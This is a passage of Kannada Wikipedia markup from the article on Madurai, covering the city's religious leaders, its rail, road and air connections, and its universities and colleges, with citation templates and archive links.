ಮಧುರೈನಲ್ಲಿ ಬಹುಪಾಲು ಮುಸ್ಲಿಮ್‌ ವಿವಾಹಗಳನ್ನು ವಿಧಿಪೂರ್ವಕವಾಗಿ ನಡೆಸಿಕೊಡುವುದಲ್ಲದೇ, ಆ ನಂತರ ಬರಬಹುದಾದ ಸಮಸ್ಯೆಗಳಿಗೆ ಪರಿಹಾರವನ್ನೂ ಅವರು ನೀಡುತ್ತಾರೆ. ಸೂಕ್ತ ದರ್ಗಾಗಳಲ್ಲಿ ನಡೆಸಲಾಗುವ ಬಹಳಷ್ಟು ಝಿಕ್ರ್‌ ಮಜ್ಲಿಗಳು ಮತ್ತು ಉರುಸ್‌ ಉತ್ಸವಗಳನ್ನು ಖಾಜಿಯಾರ್‌‌ ಅಥವಾ ಖಾಜಿಯಾರ್‌ ಕುಟುಂಬದ ಇತರೆ ಮೌಲ್ವಿಗಳ ಮುಂದಾಳತ್ವದಲ್ಲಿ ನಡೆಸಲಾಗುತ್ತದೆ. === ಆರ್ಚ್‌ ಬಿಷಪ್‌ === ಮಧುರಾದ ಆರ್ಚ್ ಬಿಷಪ್‌ರ ಆಡಳಿತದ ಐತಿಹ್ಯವು ಸುಮಾರು '''70 ವರ್ಷಗಳಷ್ಟು''' ಹಳೆಯದು ಹಾಗೂ ಮಧುರೈನ ಆರ್ಚ್‌‌ ಬಿಷಪ್ಪರನ್ನು ಮಧುರೈನಲ್ಲಿರುವ [[ರೋಮನ್‌ ಕ್ಯಾಥೋಲಿಕ್‌]] [[ಕ್ರೈಸ್ತರ]] ಮುಖಂಡರಾಗಿ ಪರಿಗಣಿಸಲಾಗುತ್ತದೆ. ಮಧುರಾದ ಆರ್ಚ್‌ ಬಿಷಪ್ಪರ ಪ್ರಾಂತ್ಯವನ್ನು 1938ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು ಹಾಗೂ, 1950ರಲ್ಲಿ ಅದನ್ನು ಮಧುರೈನ ಆರ್ಚ್‌ ಬಿಷಪ್ಪರ ಪ್ರಾಂತ್ಯವೆಂದು ಮರುನಾಮಕರಣ ಮಾಡಲಾಯಿತು. [[ದಿಂಡಿಗಲ್‌]], [[ಕೊಟ್ಟಾರ್‌]], [[ಪಲಯಂಕೊಟ್ಟೈ]], [[ಶಿವಗಂಗೆ/ಶಿವಗಂಗಾ]], [[ತಿರುಚಿರಾಪಳ್ಳಿ/ತಿರುಚಿನಾಪಳ್ಳಿ]] ಮತ್ತು [[ತೂತುಕುಡಿ/ಟ್ಯೂಟಿಕಾರಿನ್‌]]ಗಳ ಸಹಾಯಕ ಬಿಷಪ್‌ರು ಮಧುರೈ ಬಿಷಪ್ಪರ ವ್ಯಾಪ್ತಿಗೊಳಪಡುತ್ತಾರೆ <ref>{{cite web|author=David M. Cheney |url=http://www.catholic-hierarchy.org/diocese/dmadu.html |title=Madurai (Archdiocese) |publisher=[Catholic-Hierarchy] |date= |accessdate=2009-09-23}}</ref>. ಮಧುರೈನ ಆರ್ಚ್‌ ಬಿಷಪ್ಪರ ಆಡಳಿತದ ವಂಶಾವಳಿಯು ಮಧುರೈನ 1ನೇ ಆರ್ಚ್‌ಬಿಷಪ್‌ ಜಾನ್‌ ಪೀಟರ್‌ ಲಿಯೋನಾರ್ಡ್‌ರಿಂದ ಆರಂಭವಾಗುತ್ತದೆ. ಮಧುರೈನ ನಾಲ್ಕನೇ ಆರ್ಚ್‌ ಬಿಷಪ್‌ ಆಗಿದ್ದ ಬಿಷಪ್‌ ಮಾರಿಯಾನಸ್‌ ಆರೋಕ್ಯ/ಗ್ಯಸ್ವಾಮಿಯವರು 1990ರ ದಶಕದ ಕೊನೆಯಲ್ಲಿ ದಕ್ಷಿಣ ತಮಿಳುನಾಡು ಕೋಮುಗಲಭೆಗಳ ಬೇಗುದಿಯಿಂದ ಹೊತ್ತಿ ಉರಿಯುತ್ತಿದ್ದಾಗ ಆಧೀನಂ ಹಾಗೂ ಖಾಜಿಯಾರ್‌ಗಳ ಜೊತೆಗೂಡಿ ಮಧುರೈನಲ್ಲಿನ ಶಾಂತತೆಯನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲು ಶ್ರಮಿಸಿದ್ದರು. ಬಿಷಪ್‌ ಪೀಟರ್‌ ಫರ್ನ್ಯಾಂಡೋರವರು ಮಧುರೈನ 5ನೇ ಆರ್ಚ್‌ ಬಿಷಪ್‌ ಆಗಿದ್ದಾರೆ. ಬಿಷಪ್‌ ಕ್ರಿಸ್ಟೋಫರ್‌ ಅಸಿರ್‌‌ರು, ಮಧುರೈನ C.S.I. ಕ್ರೈಸ್ತರ ಮುಖಂಡತ್ವ ಹೊಂದಿದ CSIನ ಮಧುರೈ-ರಾಮ್‌ನಾಡ್‌ ಬಿಷಪ್‌ ಆಡಳಿತ ಪ್ರಾಂತ್ಯದ ಆರ್ಚ್‌ ಬಿಷಪ್‌ ಆಗಿದ್ದಾರೆ. == ಸಾರಿಗೆ == === ರೈಲು ಸಾರಿಗೆ === [[ಚಿತ್ರ:மதுரைத் தொடருந்து நிலையம் 2022 ஆகத்து 13.jpg|thumb|right|ಮಧುರೈ ಜಂಕ್ಷನ್‌]] ಇಲ್ಲಿನ ರೈಲ್ವೇ ನಿಲ್ದಾಣ ರಾಷ್ಟ್ರದಲ್ಲಿನ ಅತ್ಯಂತ ಕಾರ್ಯನಿರತ ಜನನಿಬಿಡ ನಿಲ್ದಾಣವಾಗಿರುವುದಲ್ಲದೇ, ಗಣಕೀಕೃತ ಮುಂಗಡ ಕಾದಿರಿಸಿರುವಿಕೆಯ ಕೌಂಟರ್‌ಗಳನ್ನು ಹೊಂದಿದೆ. [[ದಕ್ಷಿಣ ರೈಲ್ವೇ]]ಯ ಅತ್ಯುತ್ತಮ ನಿರ್ವಹಣೆಯ ನಿಲ್ದಾಣವಾಗಿ ಅನೇಕ ಬಾರಿ ಮಧುರೈ ವಿಭಾಗವು ಪ್ರಶಸ್ತಿ ಗಳಿಸಿದೆ.<ref>{{cite news|title=Elegant ambience|url=http://www.hinduonnet.com/thehindu/mp/2004/10/16/stories/2004101600330100.htm|publisher=The Hindu|date=October 16, 2004|accessdate=2007-03-09|archive-date=2007-10-17|archive-url=https://web.archive.org/web/20071017024320/http://hinduonnet.com/thehindu/mp/2004/10/16/stories/2004101600330100.htm|url-status=dead}}</ref> ಮಧುರೈ ಜಂಕ್ಷನ್‌ನ ರೈಲು ನಿಲ್ದಾಣದ ಸಂಕೇತವು '''MDU''' . [[ಚೆನ್ನೈ]], [[ನಾಗರ್‌ಕೋಯಿಲ್‌]], [[ಕನ್ಯಾಕುಮಾರಿ]], [[ತಿರುಚೆಂಡೂರ್‌]], [[ವಿಲ್ಲುಪುರಂ]], [[ಕೊಯಮತ್ತೂರು]], [[ತೆಂಕಸಿ]], [[ರಾಮೇಶ್ವರಂ]], [[ತೂತುಕುಡಿ]], [[ಬೆಂಗಳೂರು]] (ಮೈಸೂರು exp & ಮುಂಬಯಿ CST exp ಮೂಲಕ), [[ಮೈಸೂರು]], [[ತಿರುವನಂತಪುರಂ]], [[ಮುಂಬಯಿ]] (ಮುಂಬಯಿ CST exp ಮೂಲಕ), [[ಪುಣೆ]] (ಲೋಕಮಾನ್ಯ ತಿಲಕ್‌ exp ಮೂಲಕ), [[ಅಹಮದಾಬಾದ್‌]], [[ತಿರುಪತಿ]], [[ಹೈದರಾಬಾದ್]]‌(RMM OKHA EXPRES ಮೂಲಕ), [[ದೆಹಲಿ]] (ತಿರುಕ್ಕುರಳ್‌ ಮತ್ತು ತಮಿಳುನಾಡು ಸಂಪರ್ಕ ಕ್ರಾಂತಿ ಎಕ್ಸ್‌ಪ್ರೆಸ್‌‌ ಮೂಲಕ), ಮತ್ತು [[ಕೋಲ್ಕತಾ]] (ಕೇಪ್‌ ಹೌರಾ exp ಮೂಲಕ)ಗಳೂ ಸೇರಿದಂತೆ ಇದು ಅನೇಕ ಭಾರತೀಯ ನಗರಗಳು ಹಾಗೂ ಪಟ್ಟಣಗಳಿಗೆ ಸಂಪರ್ಕಿತವಾಗಿದೆ<ref>{{cite web|url=http://erail.in |title=Indian Railways Time Tables, PNR, Route, Fares, Arrivals/Departures, Running Status - eRail.in (Better Way To Search Trains) |publisher=eRail.in |date= |accessdate=2009-09-23}}</ref>. === ರಸ್ತೆ ಸಾರಿಗೆ === [[ಚಿತ್ರ:Ellish Flyover2.jpg|thumb|right|ಎಲ್ಲಿಸ್‌ ನಗರ್‌ ಸೇತುವೆ]] ಮಧುರೈ ಅನೇಕ ಪ್ರಮುಖ ಬಸ್‌ ನಿಲ್ದಾಣಗಳನ್ನು ಹೊಂದಿದೆ: ಇದು ಮಾಟ್ಟುಥವನಿ (ಉತ್ತರ), ಪಾಲಂಗನಥಂ (ದಕ್ಷಿಣ), [[ಅರಪ್ಪಾಲಯಂ]] (ಪಶ್ಚಿಮ), ಪೆರಿಯಾರ್‌ (ಕೇಂದ್ರ) ಮತ್ತು ಅಣ್ಣಾ ಬಸ್‌‌ ನಿಲ್ದಾಣಗಳಲ್ಲಿನ (ಪೂರ್ವ) ಮಧುರೈ ಇಂಟೆಗ್ರೇಟೆಡ್‌ ಬಸ್‌ ಟರ್ಮಿನಸ್‌ (MIBT) ಸೇವೆಯಾಗಿ ಲಭ್ಯವಿದೆ. MIBTಯಿಂದ, ದಕ್ಷಿಣ ಭಾರತದ ಎಲ್ಲೆಡೆ ದಿನವಿಡೀ ಬಸ್‌ ಸಂಚಾರವಿರುತ್ತದೆ. ಅರಪ್ಪಾಲಯಂ ಬಸ್‌ನಿಲ್ದಾಣದಿಂದ, ದಕ್ಷಿಣ [[ತಮಿಳುನಾಡಿ]]ನ ಸ್ಥಳಗಳಾದ ಥೇಣಿ,ಕೊಯಮತ್ತೂರು, ತಿರುಪುರ್‌‌, ಈರೋಡ್‌, [[ಸೇಲಂ]]ಗಳಿಗೆ ಹೋಗುವ ಬಸ್‌ಗಳು ಲಭ್ಯವಿರುತ್ತದೆ ಹಾಗೂ ಪ್ರಮುಖ ಮಹಾನಗರಗಳಿಗೆ ಹೋಗುವ ಖಾಸಗಿ ಬಸ್‌ಗಳು ಹಾಗೂ ನಗರ ಸಾರಿಗೆ ಬಸ್‌ಗಳು ಮಾತ್ರವೇ ಪೆರಿಯಾರ್‌ ಬಸ್‌ ನಿಲ್ದಾಣದಿಂದ ಹೊರಡುತ್ತವೆ. ಅಣ್ಣಾ ಬಸ್‌ನಿಲ್ದಾಣ ಮತ್ತು ಪಾಲಂಗನಥಂ ನಿಲ್ದಾಣಗಳು ಸದ್ಯಕ್ಕೆ ಸೇವೆ ನೀಡುತ್ತಿಲ್ಲ. ನಗರ ಸಾರಿಗೆ ಬಸ್‌ಗಳಲ್ಲದೇ, ತ್ರಿಚಕ್ರಗಳಿರುವ, ಕಪ್ಪು ಮತ್ತು ಹಳದಿ ಬಣ್ಣದ ಆಟೋಗಳು ಎಂದು ಕರೆಯಲ್ಪಡುವ [[ಆಟೋ-ರಿಕ್ಷಾಗಳು]] ನಗರದ ಒಳಗಿನ ಸಂಚಾರಕ್ಕೆ ಲಭ್ಯವಿರುತ್ತವೆ. MIBT ನಿಲ್ದಾಣದಲ್ಲಿ ಪೂರ್ವ-ಪಾವತಿ ಆಟೋ ಕೌಂಟರ್‌ ಇದ್ದು ಅಲ್ಲಿ ಪ್ರಯಾಣಿಕರು ಗಮ್ಯಸ್ಥಳದ ಮೇಲೆ ಆಧಾರಿತವಾಗಿ ನಿಶ್ಚಿತ ಬಾಡಿಗೆ ಮತ್ತು ಆಟೋ-ಶುಲ್ಕ ತೆತ್ತು ಪ್ರಯಾಣಿಸಬಹುದು. ಮಧುರೈ ಕೆಳಕಂಡ ಪ್ರಮುಖ ರಾಷ್ಟ್ರೀಯ ಹೆದ್ದಾರಿಗಳಿಗೆ ಸಂಪರ್ಕ ಹೊಂದಿದೆ : NH 7 : (ಉತ್ತರ-ದಕ್ಷಿಣ ಕಾರಿಡಾರ್‌‌ ಎಕ್ಸ್‌ಪ್ರೆಸ್‌ವೇ) [[ಬೆಂಗಳೂರು]] – [[ಸೇಲಂ]] – [[ದಿಂಡಿಗಲ್‌]] – ಮಧುರೈ – [[ತಿರುನಲ್ವೇಲಿ]] – [[ಕನ್ಯಾಕುಮಾರಿ]] NH 45B : [[ಟ್ರಿಚಿ/ತಿರುಚಿರಾಪಳ್ಳಿ/ತಿರುಚಿನಾಪಳ್ಳಿ]] – ಮಧುರೈ – [[ತೂತುಕುಡಿ]] NH 49 : ಮಧುರೈ – [[ರಾಮೇಶ್ವರಂ]] NH 49 Extn/ವಿಸ್ತೃತ : ಮಧುರೈ – [[ಥೇಣಿ]] – [[ಬೋದಿ/ಡಿ]] – [[ಕೊಚ್ಚಿ/ನ್‌]] ಮಧುರೈ ನಗರಕ್ಕೆ ಅನೇಕ ಕಡೆಗಳಲ್ಲಿ ಸಂಪರ್ಕ ಹೊಂದಲು ವೈಗೈ ನದಿಯ ಮೇಲೆ ಸೇತುವೆಗಳನ್ನು ಕಟ್ಟಲಾಗಿದೆ. ನಗರದೊಳಗೆ ವಾಹನದಟ್ಟಣೆಯನ್ನು ಕಡಿಮೆ ಮಾಡಲು ಮೇಲುರಸ್ತೆಗಳನ್ನು ಕಟ್ಟಲಾಗುತ್ತಿದೆ. [[ಚೆನ್ನೈ]] ಮತ್ತು [[ಬೆಂಗಳೂರು]]ಗಳಿಗೆ ನಾಲ್ಕು ಪಥದ ಎಕ್ಸ್‌ಪ್ರೆಸ್‌/ವಾಯುವೇಗದ ಹೆದ್ದಾರಿಗಳ ಲಭ್ಯತೆಯು ಮಧುರೈಗೆ ರಸ್ತೆ ಮೂಲಕ ಉತ್ತಮ ಸಂಪರ್ಕ ಕಲ್ಪಿಸಿದೆ. === ವಾಯುಯಾನ/ಸಾರಿಗೆ === [[ಚಿತ್ರ:Air Deccan Madurai airport.jpg|thumb|right|ವಿಮಾನನಿಲ್ದಾಣದಲ್ಲಿ ಏರ್‌ ಡೆಕ್ಕನ್‌‌]] [[ಮಧುರೈ ವಿಮಾನನಿಲ್ದಾಣ]]ವು ಮಧುರೈ ರೈಲ್ವೆನಿಲ್ದಾಣದಿಂದ ಸರಿಸುಮಾರು 9 ಕಿಲೋಮೀಟರ್‌ಗಳಷ್ಟು ದೂರವಿರುವುದಲ್ಲದೇ, ಅಲ್ಲಿಂದ [[ಚೆನ್ನೈ]], [[ಮುಂಬಯಿ]] ಮತ್ತು [[ಬೆಂಗಳೂರು]]ಗಳಂತಹಾ ಪ್ರಮುಖ ಭಾರತೀಯ ನಗರಗಳಿಗೆ [http://www.airportmadurai.com/mduairport/FlightInformation/Departure/madurai-airport.aspx?m=109&amp;mm=112 11 ದೈನಂದಿನ ಹಾರಾಟಗಳು]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} ಲಭ್ಯವಿವೆ. ಚೆನ್ನೈ ಮೂಲಕ [[ಹೈದರಾಬಾದ್‌]], [[ಪುಣೆ]], [[ಗೋವಾ]] ಮತ್ತು [[ಅಹಮದಾಬಾದ್‌]]ಗಳಿಗೆ ಸಹಾ ಹಾರಾಟ ಕಲ್ಪಿಸುತ್ತದೆ. [http://www.airportmadurai.com ಮಧುರೈ ವಿಮಾನನಿಲ್ದಾಣ] {{Webarchive|url=https://www.webcitation.org/6DpcVka0H?url=http://www.airportmadurai.com/ |date=2013-01-21 }} ದಲ್ಲಿ ಸೇವೆ ನೀಡುತ್ತಿರುವ ವಿಮಾನಸಂಸ್ಥೆಗಳೆಂದರೆ [[ಜೆಟ್‌ ಏರ್‌ವೇಸ್‌]], [[ಏರ್‌ ಡೆಕ್ಕನ್‌]], [[ಪ್ಯಾರಾಮೌಂಟ್‌ ಏರ್‌ವೇಸ್]]‌‌, [[ಸ್ಟಾರ್‌ ಏವಿಯೇಷನ್‌]] (ಆರಂಭಿಸಲಿರುವ) ಮತ್ತು [[ಇಂಡಿಯನ್‌ ಏರ್‌ಲೈನ್ಸ್]]‌‌. ಮಧುರೈನಿಂದ [[ಕೊಲೊಂಬೋ]], [[ಸಿಂಗಪೂರ್‌]] ಮತ್ತು ಕೊಲ್ಲಿ ದೇಶಗಳಿಗೆ ಅಂತರರಾಷ್ಟ್ರೀಯ ಹಾರಾಟಗಳನ್ನು ಭವಿಷ್ಯದಲ್ಲಿ ಆರಂಭಿಸಲು ಪ್ರಸ್ತಾವ ಸಲ್ಲಿಸಲಾಗಿದೆ. ಅತ್ಯಂತ ಸಮೀಪವಿರುವ ಅಂತರರಾಷ್ಟ್ರೀಯ ವಿಮಾನ ನಿಲ್ದಾಣವೆಂದರೆ ಮಧುರೈನಿಂದ 130&nbsp;km ದೂರವಿರುವ [[ತಿರುಚಿರಾಪಳ್ಳಿ/ತಿರುಚಿನಾಪಳ್ಳಿಯ ಅಂತರರಾಷ್ಟ್ರೀಯ ವಿಮಾನನಿಲ್ದಾಣ]]. ಮಧುರೈನ ವಿಮಾನನಿಲ್ದಾಣದ ಸಂಕೇತವು IXM ಆಗಿದೆ. {| class="wikitable" |- ! ಮಧುರೈನಿಂದ ಹೊರಡುವ ವಿಮಾನಯಾನ ! ಗಮ್ಯಸ್ಥಳ |- | ಇಂಡಿಯನ್‌ ಏರ್‌‌ಲೈನ್ಸ್‌ | ಚೆನ್ನೈ, ಮುಂಬಯಿ |- | ಪ್ಯಾರಾಮೌಂಟ್‌ ಏರ್‌ವೇಸ್‌ | ಚೆನ್ನೈ, ಬೆಂಗಳೂರು, ಅಹಮದಾಬಾದ್‌, ಗೋವಾ, ಕೊಚ್ಚಿ/ನ್‌,ತಿರುವನಂತಪುರಂ, ಪುಣೆ, ಹೈದರಾಬಾದ್‌, ಕೊಲ್ಕೋತಾ, ದೆಹಲಿ |- | ಜೆಟ್‌ ಏರ್‌ವೇಸ್‌ / ಜೆಟ್‌ ಕನೆಕ್ಟ್‌‌ | ಚೆನ್ನೈ |- | ಏರ್‌ ಡೆಕ್ಕನ್‌ (ಕಿಂಗ್‌ಫಿಷರ್‌) | ಚೆನ್ನೈ , ಬೆಂಗಳೂರು |- | ಸ್ಟಾರ್‌ ಏವಿಯೇಷನ್‌ (ಆರಂಭಿಸಲಿರುವ) | ಚೆನ್ನೈ |} == ಶಿಕ್ಷಣ == [[ಚಿತ್ರ:TCE Madurai.JPG|thumb|140px|ತಿಯಾಗರಾಜರ್‌/ತ್ಯಾಗರಾಜರ್‌ ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ, ಮಧುರೈ .]] ಮಧುರೈ ನಗರವು ಸಾಕ್ಷರತೆ ಹಾಗೂ ಮಾನವ ಅಭಿವೃದ್ಧಿ ಸೂಚ್ಯಂಕಗಳಲ್ಲಿ ರಾಜ್ಯದ ಸರಾಸರಿಗಿಂತ ಹೆಚ್ಚಿನ ಸಾಮರ್ಥ್ಯ ತೋರಿದೆ. [[ಮಧುರೈ ಕಾಮರಾಜ್‌ ವಿಶ್ವವಿದ್ಯಾಲಯ]]ವು ಮಧುರೈನಲ್ಲಿದೆ. ಈ ವಿಶ್ವವಿದ್ಯಾಲಯವು ದೂರಶಿಕ್ಷಣ ವ್ಯವಸ್ಥೆಯ ಪರಿಕಲ್ಪನೆಯನ್ನು [[ಭಾರತ]]ದಾದ್ಯಂತ ಹರಡುವಲ್ಲಿ ಅಗ್ರಪ್ರವರ್ತಕವಾಗಿತ್ತು. ಈ ವಿಶ್ವವಿದ್ಯಾಲಯಕ್ಕೆ "ಉತ್ಕೃಷ್ಟ ಸಾಧನೆಯ ಸಾಮರ್ಥ್ಯವಿರುವ ವಿಶ್ವವಿದ್ಯಾಲಯ"ದ ಸ್ಥಾನಮಾನ ನೀಡಲಾಗಿದೆ <ref>{{cite web|url= http://www.mkudde.org/aboutuniv.php |title= Madurai Kamaraj University official website| accessdate = 2008-12-25}}</ref>. ನಗರವು (1954ರಲ್ಲಿ ಸ್ಥಾಪಿತವಾದ) [[ಮಧುರೈ ವೈದ್ಯಕೀಯ ಮಹಾವಿದ್ಯಾಲಯ]] ಎಂಬ ವೈದ್ಯಕೀಯ ಮಹಾವಿದ್ಯಾಲಯ, ಕೃಷಿ ಮಹಾವಿದ್ಯಾಲಯ ಹಾಗೂ ಸಂಶೋಧನಾ ಸಂಸ್ಥೆ, ಕಾನೂನು ವಿದ್ಯಾಲಯ ಮತ್ತು ಅನೇಕ ತಾಂತ್ರಿಕ ಮತ್ತು ಕಲಾ ಹಾಗೂ ವಿಜ್ಞಾನ ಮಹಾವಿದ್ಯಾಲಯಗಳನ್ನು ಹೊಂದಿದೆ. ಅಲ್ಲಿನ [http://www.aravind.org/amrf/index.asp ಅರವಿಂದ್‌‌ ನೇತ್ರ ಸಂಶೋಧನಾ ಸಂಸ್ಥೆ] {{Webarchive|url=https://web.archive.org/web/20091228191508/http://www.aravind.org/amrf/index.asp |date=2009-12-28 }} ಯು [[ತಳಿಶಾಸ್ತ್ರ]],[[ರೋಗರಕ್ಷಾಶಾಸ್ತ್ರ]],[[ನೇತ್ರಶಾಸ್ತ್ರ]], [[ಜೀವವಿಜ್ಞಾನ ಶಾಸ್ತ್ರಗಳು]], ಮಾನವ ಸಂಸ್ಕೃತಿ ಮತ್ತು ಸಾಮಾಜಿಕ ವಿಜ್ಞಾನಗಳು ಹಾಗೂ [[ಜೈವಿಕ ತಂತ್ರಜ್ಞಾನ]]ಗಳಂತಹಾ ಕ್ಷೇತ್ರಗಳಲ್ಲಿ ಮಧುರೈ ಕಾಮರಾಜ್‌ ವಿಶ್ವವಿದ್ಯಾಲಯ, Dr. MGR ವೈದ್ಯಕೀಯ ವಿಶ್ವವಿದ್ಯಾಲಯ ಮತ್ತು [[ಭಾರತೀಯ ತಂತ್ರಜ್ಞಾನ ಸಂಸ್ಥೆ ಮದ್ರಾಸ್‌]]ನಂತಹಾ ವಿಶ್ವವಿದ್ಯಾಲಯಗಳ ಸಹಯೋಗದೊಂದಿಗೆ Ph.D ಅಧ್ಯಯನಗಳನ್ನು ಆರಂಭಿಸಿದೆ. [[ಲಂಡನ್‌]] ಮತ್ತು [[USA]]ಗಳಲ್ಲಿರುವ ಸಂಶೋಧನಾ ಸಹಭಾಗಿಗಳನ್ನು ಈ ಅಧ್ಯಯನವು ಹೊಂದಿದೆ. ಮಧುರೈನ (1957ರಲ್ಲಿ ಸ್ಥಾಪಿತವಾದ) [[ತಿಯಾಗರಾಜರ್‌/ತ್ಯಾಗರಾಜರ್‌ ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ]]ವು [[ತಮಿಳುನಾಡಿನ]] ಅತ್ಯುತ್ತಮ ಶಿಕ್ಷಣ ಸಂಸ್ಥೆಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. ಮಧುರೈನಲ್ಲಿ ಅನೇಕ ಪ್ರತಿಷ್ಠಿತ ಶಾಲೆಗಳು, ತಾಂತ್ರಿಕ ವಿದ್ಯಾಲಯಗಳು/ಪಾಲಿಟೆಕ್ನಿಕ್‌ಗಳು ಹಾಗೂ [[ಔದ್ಯಮಿಕ ತರಬೇತಿ ಸಂಸ್ಥೆ]]ಗಳೂ (ITIಗಳು) ಇವೆ. 1856ರಲ್ಲಿ<ref>{{cite web |url=http://maduracollege.org/college_profile.php |title=Welcome to The Madura College - Over 120 Years |publisher=Maduracollege.org |date= |accessdate=2009-09-23 |archive-date=2009-11-03 |archive-url=https://web.archive.org/web/20091103111708/http://maduracollege.org/college_profile.php |url-status=dead }}</ref> ಜಿಲ್ಲಾ ಶಾಲೆಯಾಗಿ ಸ್ಥಾಪಿತವಾಗಿದ್ದ ಮಧುರಾ ಮಹಾವಿದ್ಯಾಲಯವು 120 ವರ್ಷಗಳಷ್ಟು ಹಳೆಯದು. [[ಮಧುರೈನ ದ ಅಮೇರಿಕನ್‌ ಕಾಲೇಜ್‌]] ಭಾರತದ ಹಳೆಯ ಮಹಾವಿದ್ಯಾಲಯಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. 1881ರಲ್ಲಿ ಇದನ್ನು ಅಮೇರಿಕದ ಕ್ರೈಸ್ತ ಮಿಷನರಿಗಳು ಸ್ಥಾಪಿಸಿದರು. ತಿಯಾಗರಾಜರ್‌/ತ್ಯಾಗರಾಜರ್‌ ಕಲೆ ಮತ್ತು ವಿಜ್ಞಾನ ಮಹಾವಿದ್ಯಾಲಯವೂ ಸಹಾ (1949ರಲ್ಲಿ ಸ್ಥಾಪಿತವಾದ) ಮತ್ತೊಂದು ಹಳೆಯ ಸಂಸ್ಥೆಯಾಗಿದೆ. [[ತಿಯಾಗರಾಜರ್‌/ತ್ಯಾಗರಾಜರ್‌ ಸ್ಕೂಲ್‌ ಆಫ್‌ ಮ್ಯಾನೇಜ್‌ಮೆಂಟ್‌]] (1962ರಲ್ಲಿ ಸ್ಥಾಪಿತವಾದ ಹಾಗೂ TSM ಎಂದು ದಕ್ಷಿಣಭಾರತದಲ್ಲಿ ಖ್ಯಾತವಾದ) ಎಂಬುದು ನಿರ್ವಹಣಾ ಅಧ್ಯಯನಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ಅತ್ಯುತ್ತಮ ಸಂಸ್ಥೆಯಾಗಿದೆ. ಇತರ ಗಮನಾರ್ಹ ಮಹಾವಿದ್ಯಾಲಯಗಳೆಂದರೆ K.L.N. ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ, ರಾಜಾ ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ, ಸೇತು ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ, [[ವಿಕ್ರಮ್‌‌ ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ]], SACS M.A.V.M.M ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ, ವೇಲಮ್ಮಾಳ್‌‌ ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ ಮತ್ತು P.T.R ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯಗಳು. ಮಧುರೈನಲ್ಲಿನ 1965ರಿಂದ ಇರುವ K.K.ನಗರದ M.S.S.ವಕ್ಫ್‌ ಮಂಡಳಿ ಮಹಾವಿದ್ಯಾಲಯ, ಮತ್ತು ನಾಗಮಲೈನ S.V.N ಮಹಾವಿದ್ಯಾಲಯಗಳು ಖ್ಯಾತ ಸಂಸ್ಥೆಗಳಾಗಿವೆ. ನಗರದಲ್ಲಿ ಗಮನಾರ್ಹ ಸಂಖ್ಯೆಯ ಹೋಟೆಲ್‌ ನಿರ್ವಹಣೆ ಹಾಗೂ ಆಹಾರ ಪೂರೈಕೆಯ<ref>{{cite web|url= http://www.maduraidirectory.com/education/cnh_colleges.php |title= Madurai directory| accessdate = 2009-03-22}}</ref> ಸಂಸ್ಥೆಗಳಿವೆ. ಮಧುರಾ ಮಹಾವಿದ್ಯಾಲಯ (ಸ್ವಾಯತ್ತ)ವು ಮಧುರೈನ ಪ್ರಾಚೀನ ಮಹಾವಿದ್ಯಾಲಯಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. [[ತಿಯಾಗರಾಜರ್‌/ತ್ಯಾಗರಾಜರ್‌ ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ]], [[ವಿಕ್ರಮ್‌‌ ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ]] ಮತ್ತು KLN ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯಗಳು ಸಂಶೋಧನಾ ವ್ಯವಸ್ಥೆಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸುವಲ್ಲಿ ಮುಂಚೂಣಿಯಲ್ಲಿವೆಯಲ್ಲದೇ ಅಂತರರಾಷ್ಟ್ರೀಯ ತಾಂತ್ರಿಕ ಸಂಸ್ಥೆಗಳಾದ ನ್ಯಾಷನಲ್‌ ಇನ್‌ಸ್ಟ್ರುಮೆಂಟ್ಸ್‌‌<ref>{{cite web |url= http://www.hindu.com/2008/11/20/stories/2008112054410500.htm |title= National Instruments opens its first training academy in the world in Madurai |accessdate= 2008-12-24 |archive-date= 2009-01-22 |archive-url= https://web.archive.org/web/20090122090858/http://hindu.com/2008/11/20/stories/2008112054410500.htm |url-status= dead }}</ref>, Intel<ref>{{cite web |url=http://www.hindu.com/edu/2007/07/30/stories/2007073050490800.htm |title=Intel to aid engineering curriculum development |accessdate=2008-12-31 |archive-date=2008-11-05 |archive-url=https://web.archive.org/web/20081105155618/http://www.hindu.com/edu/2007/07/30/stories/2007073050490800.htm |url-status=dead }}</ref>, Oracle<ref>{{cite web|url=http://www.oracle.com/global/in/education/maps/oracle_wdp.html|title=INstitutions with Oracle Tie Up|accessdate=2009-04-18|archive-date=2009-03-16|archive-url=https://web.archive.org/web/20090316123915/http://www.oracle.com/global/in/education/maps/oracle_wdp.html|url-status=dead}}</ref> IBM<ref>{{cite web|url=http://www.klnce.edu/ibm/rational/ibm_rational.html|title= IBM Rational Center of Excellence at KLN |accessdate = 2008-12-24}}</ref> ಮತ್ತು HCL<ref>{{cite web|url=http://www.hinduonnet.com/2007/11/29/stories/2007112950140100.htm|title=HCL chooses Madurai for radio frequency project|accessdate=2008-12-24|archive-date=2008-12-26|archive-url=https://web.archive.org/web/20081226134740/http://www.hinduonnet.com/2007/11/29/stories/2007112950140100.htm|url-status=dead}}</ref> ನಂತಹಾ ರಾಷ್ಟ್ರದ ಮುಂಚೂಣಿ ಔದ್ಯಮಿಕ ಸಂಸ್ಥೆಗಳೊಂದಿಗೆ ಸಂಘಟಿತವಾಗಿವೆ. 